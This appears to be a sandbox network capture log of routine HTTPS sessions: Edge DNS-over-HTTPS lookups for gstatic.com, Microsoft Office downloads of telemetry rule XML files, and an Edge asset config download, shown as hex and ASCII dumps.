2024-11-19 00:01:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49909	172.64.41.3	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 00:01:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 00:01:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e4bed5e3b05e91a-DFW alt-svc: h3=":443"; ma=86400
2024-11-19 00:01:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49910	162.159.61.3	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 00:01:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 00:01:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e4bed5e38636c57-DFW alt-svc: h3=":443"; ma=86400
2024-11-19 00:01:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a0 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49911	172.64.41.3	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 00:01:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 00:01:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e4bed5e3a4d2c94-DFW alt-svc: h3=":443"; ma=86400
2024-11-19 00:01:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c7 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 70970467-901e-0016-71b3-39efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000142Z-16547b76f7f6nr89hC1DFWz7ug00000002tg00000000m1vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:42 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000142Z-17cf5b775c4j2k86hC1DFWdbb400000000g0000000003e1p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000142Z-16547b76f7ftnm6xhC1DFW9c8c000000066g00000000457x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:42 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 24bee092-d01e-0028-6965-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000142Z-17cf5b775c4dj7lnhC1DFWmqrg00000000p00000000061s7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:42 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 776d52d1-a01e-0032-19c4-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000142Z-r18f44ddb69lhcg2hC1DFWbmfc00000000p0000000003mxg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49912	13.107.246.45	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:42 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 00:01:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:42 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 2d4588e4-701e-0041-5216-3a4014000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T000142Z-17cf5b775c4qqs2shC1DFW48m000000000gg000000003x89 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 00:01:43 UTC	15821	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-19 00:01:43 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-19 00:01:43 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-19 00:01:43 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
